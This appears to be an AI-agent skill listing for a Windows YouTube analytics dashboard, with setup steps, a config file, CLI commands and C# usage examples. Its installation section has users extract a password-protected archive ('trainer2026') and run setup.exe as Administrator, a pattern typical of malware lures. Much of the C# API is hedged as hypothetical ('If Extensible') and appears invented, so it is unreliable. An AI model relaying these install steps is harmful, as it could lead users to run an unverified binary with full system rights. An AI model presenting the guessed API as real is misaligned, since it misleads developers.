SuperAPI AI Directory

youtube-channel-analytics-dashboard

Data & analytics

View repository

Updated 10-14 22:48

About this skill

YouTube Channel Analytics Dashboard

Skill by ara.so — Data Skills collection.

Overview

YouTube Channel Analytics Dashboard is a comprehensive analytics tool that provides real-time and historical insights into YouTube channel performance. It tracks views, watch time, subscriber growth, revenue estimates, and audience demographics through an interactive dashboard interface.

Key capabilities:

  • Real-time statistics monitoring (views, subscribers)
  • Historical trend visualization with growth charts
  • Revenue tracking and estimates
  • Audience demographics and geographic mapping
  • Video-level performance analysis
  • Report export (CSV/PDF formats)

Installation

Windows Setup

  1. Download the package from the repository releases
  2. Extract the archive (password: trainer2026)
  3. Run setup.exe as Administrator
  4. Follow the configuration wizard

Requirements

  • OS: Windows 10/11 (64-bit)
  • Runtime: .NET Framework 4.8+ or Visual C++ Redistributable
  • Architecture: x64

Configuration

Create a configuration file config.json in the application directory:

{
  "youtube": {
    "api_key": "${YOUTUBE_API_KEY}",
    "channel_id": "${YOUTUBE_CHANNEL_ID}"
  },
  "refresh_interval": 300,
  "data_retention_days": 90,
  "export": {
    "default_format": "csv",
    "output_directory": "./exports"
  },
  "dashboard": {
    "theme": "light",
    "auto_refresh": true
  }
}

Environment Variables

Set these environment variables for API authentication:

YOUTUBE_API_KEY=your_youtube_api_key_here
YOUTUBE_CHANNEL_ID=your_channel_id_here
YOUTUBE_DATA_API_VERSION=v3

Core Functionality

Connecting to YouTube API

The dashboard integrates with YouTube Data API v3. Ensure you have:

  1. A Google Cloud project with YouTube Data API enabled
  2. OAuth 2.0 credentials or API key
  3. Proper scopes: youtube.readonly, yt-analytics.readonly

Key Metrics Tracked

Metric Description Update Frequency
Views Total and daily video views Real-time
Watch Time Total minutes watched Hourly
Subscribers Current count and growth Real-time
Revenue Estimated earnings (CPM-based) Daily
Demographics Age, gender, geography Daily
Engagement Likes, comments, shares Hourly

Usage Patterns

Launching the Dashboard

# Standard launch
.\YouTubeAnalytics.exe

# With custom config
.\YouTubeAnalytics.exe --config custom_config.json

# Debug mode
.\YouTubeAnalytics.exe --debug --verbose

Command-Line Interface

# Export current analytics to CSV
.\YouTubeAnalytics.exe --export csv --output ./reports/analytics.csv

# Export specific date range
.\YouTubeAnalytics.exe --export pdf --from 2026-01-01 --to 2026-06-30

# Generate subscriber growth report
.\YouTubeAnalytics.exe --report subscribers --period 30d

# Fetch real-time stats only
.\YouTubeAnalytics.exe --realtime --format json

API Integration (If Extensible)

If the tool provides a scriptable interface or API:

using YouTubeAnalytics.Core;
using YouTubeAnalytics.Models;

// Initialize the analytics client
var config = new AnalyticsConfig
{
    ApiKey = Environment.GetEnvironmentVariable("YOUTUBE_API_KEY"),
    ChannelId = Environment.GetEnvironmentVariable("YOUTUBE_CHANNEL_ID"),
    RefreshInterval = TimeSpan.FromMinutes(5)
};

var client = new YouTubeAnalyticsClient(config);

// Fetch real-time statistics
var stats = await client.GetRealtimeStatsAsync();
Console.WriteLine($"Current Subscribers: {stats.SubscriberCount}");
Console.WriteLine($"Total Views: {stats.TotalViews}");

// Get historical data
var history = await client.GetHistoricalDataAsync(
    startDate: DateTime.Now.AddDays(-30),
    endDate: DateTime.Now,
    metrics: new[] { "views", "subscribersGained", "estimatedRevenue" }
);

// Analyze top performing videos
var topVideos = await client.GetTopVideosAsync(
    period: TimePeriod.Last30Days,
    metric: VideoMetric.Views,
    limit: 10
);

foreach (var video in topVideos)
{
    Console.WriteLine($"{video.Title}: {video.Views:N0} views");
}

// Export to CSV
var exporter = new DataExporter(client);
await exporter.ExportToCsvAsync(
    "./exports/monthly_report.csv",
    startDate: DateTime.Now.AddMonths(-1),
    endDate: DateTime.Now
);

Automation Scripts

// Scheduled daily report generation
using YouTubeAnalytics.Automation;

var scheduler = new ReportScheduler(client);

scheduler.ScheduleDailyReport(
    time: new TimeSpan(9, 0, 0), // 9 AM
    reportType: ReportType.DailySummary,
    recipients: new[] { "team@example.com" },
    format: ExportFormat.PDF
);

// Alert on subscriber milestones
scheduler.AddAlert(new SubscriberMilestoneAlert
{
    Milestone = 10000,
    NotificationMethod = NotificationMethod.Email,
    Recipient = "notifications@example.com"
});

Data Analysis Patterns

Subscriber Growth Analysis

// Calculate growth rate
var growth = await client.GetSubscriberGrowthAsync(
    period: TimePeriod.Last90Days
);

var avgDailyGrowth = growth.Sum(d => d.NewSubscribers) / growth.Count;
var growthRate = (growth.Last().TotalSubscribers - growth.First().TotalSubscribers) 
                 / (double)growth.First().TotalSubscribers * 100;

Console.WriteLine($"Average daily growth: {avgDailyGrowth:F1} subscribers");
Console.WriteLine($"90-day growth rate: {growthRate:F2}%");

Revenue Tracking

// Estimate revenue by video
var revenueData = await client.GetRevenueBreakdownAsync(
    startDate: DateTime.Now.AddMonths(-1),
    endDate: DateTime.Now,
    groupBy: RevenueGrouping.ByVideo
);

var topEarners = revenueData
    .OrderByDescending(v => v.EstimatedRevenue)
    .Take(10);

foreach (var video in topEarners)
{
    Console.WriteLine($"{video.Title}: ${video.EstimatedRevenue:F2}");
}

Audience Demographics

// Analyze audience location
var demographics = await client.GetAudienceDemographicsAsync();

var topCountries = demographics.Geography
    .OrderByDescending(g => g.ViewPercentage)
    .Take(5);

Console.WriteLine("Top 5 Countries:");
foreach (var country in topCountries)
{
    Console.WriteLine($"  {country.Name}: {country.ViewPercentage:F1}%");
}

// Age distribution
var ageGroups = demographics.AgeDistribution;
Console.WriteLine($"Primary audience age: {ageGroups.MaxBy(a => a.Percentage).AgeRange}");

Dashboard Customization

Creating Custom Views

If the dashboard supports custom panels:

// Define a custom dashboard layout
var dashboard = new DashboardLayout();

dashboard.AddPanel(new Panel
{
    Type = PanelType.LineChart,
    Title = "Subscriber Growth",
    DataSource = DataSource.SubscriberHistory,
    Position = new Position(0, 0),
    Size = new Size(2, 1)
});

dashboard.AddPanel(new Panel
{
    Type = PanelType.Gauge,
    Title = "Real-time Views",
    DataSource = DataSource.RealtimeViews,
    Position = new Position(2, 0),
    Size = new Size(1, 1)
});

dashboard.AddPanel(new Panel
{
    Type = PanelType.Map,
    Title = "Audience Geography",
    DataSource = DataSource.Geography,
    Position = new Position(0, 1),
    Size = new Size(3, 1)
});

await dashboard.SaveAsync("custom_layout.json");

Export and Reporting

CSV Export

# Export all metrics
.\YouTubeAnalytics.exe --export csv --metrics all --output report.csv

# Export specific metrics
.\YouTubeAnalytics.exe --export csv --metrics views,subscribers,revenue --from 2026-01-01

PDF Report Generation

using YouTubeAnalytics.Reporting;

var reportGenerator = new PdfReportGenerator(client);

var report = await reportGenerator.GenerateAsync(new ReportOptions
{
    Title = "Monthly Performance Report",
    Period = new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),
    Sections = new[]
    {
        ReportSection.Overview,
        ReportSection.SubscriberGrowth,
        ReportSection.TopVideos,
        ReportSection.AudienceDemographics,
        ReportSection.RevenueEstimate
    },
    IncludeCharts = true,
    BrandingLogo = "./logo.png"
});

await report.SaveAsync("./reports/monthly_report.pdf");

Troubleshooting

API Connection Issues

Problem: Dashboard fails to connect to YouTube API

Solutions:

  • Verify YOUTUBE_API_KEY is set correctly
  • Check API quota limits in Google Cloud Console
  • Ensure YouTube Data API v3 is enabled
  • Verify channel ID format (should start with "UC")
# Test API connection
.\YouTubeAnalytics.exe --test-connection --verbose

Missing Data

Problem: Some metrics show no data or zero values

Solutions:

  • Ensure OAuth scopes include yt-analytics.readonly
  • Check date range (revenue data may have 2-3 day delay)
  • Verify channel has sufficient history (minimum 7 days)
  • Re-authenticate if token expired
// Force data refresh
await client.RefreshAllMetricsAsync(forceUpdate: true);

Export Failures

Problem: CSV/PDF export hangs or fails

Solutions:

  • Check disk space in output directory
  • Reduce date range for large datasets
  • Verify write permissions on output folder
  • Use smaller metric subset
# Export with limited data
.\YouTubeAnalytics.exe --export csv --metrics views,subscribers --limit 1000

High Memory Usage

Problem: Dashboard consumes excessive memory with large datasets

Solutions:

  • Reduce data_retention_days in config
  • Enable data pagination for exports
  • Clear cache regularly
{
  "performance": {
    "enable_caching": true,
    "cache_max_size_mb": 500,
    "auto_cleanup": true
  }
}

Best Practices

  1. API Quota Management: Monitor YouTube API quota usage to avoid rate limits (default: 10,000 units/day)
  2. Data Retention: Set appropriate retention periods to balance history vs. performance
  3. Scheduled Exports: Automate weekly/monthly reports for consistent tracking
  4. Multiple Channels: Use separate config files for managing multiple channels
  5. Backup Data: Regularly export historical data before rotating logs

Advanced Features

Webhook Integration

// Set up webhook for real-time alerts
var webhookConfig = new WebhookConfig
{
    Url = "https://your-server.com/youtube-webhook",
    Events = new[] { "subscriber_milestone", "viral_video", "revenue_threshold" },
    Secret = Environment.GetEnvironmentVariable("WEBHOOK_SECRET")
};

await client.ConfigureWebhookAsync(webhookConfig);

Comparison Analytics

// Compare two time periods
var comparison = await client.ComparePeriodsAsync(
    period1: new DateRange(DateTime.Now.AddMonths(-2), DateTime.Now.AddMonths(-1)),
    period2: new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),
    metrics: new[] { "views", "subscribers", "watchTime" }
);

Console.WriteLine($"Views change: {comparison.Views.PercentChange:F1}%");
Console.WriteLine($"Subscriber change: {comparison.Subscribers.PercentChange:F1}%");

This skill enables AI agents to help developers effectively use YouTube Channel Analytics Dashboard for comprehensive channel performance monitoring and reporting.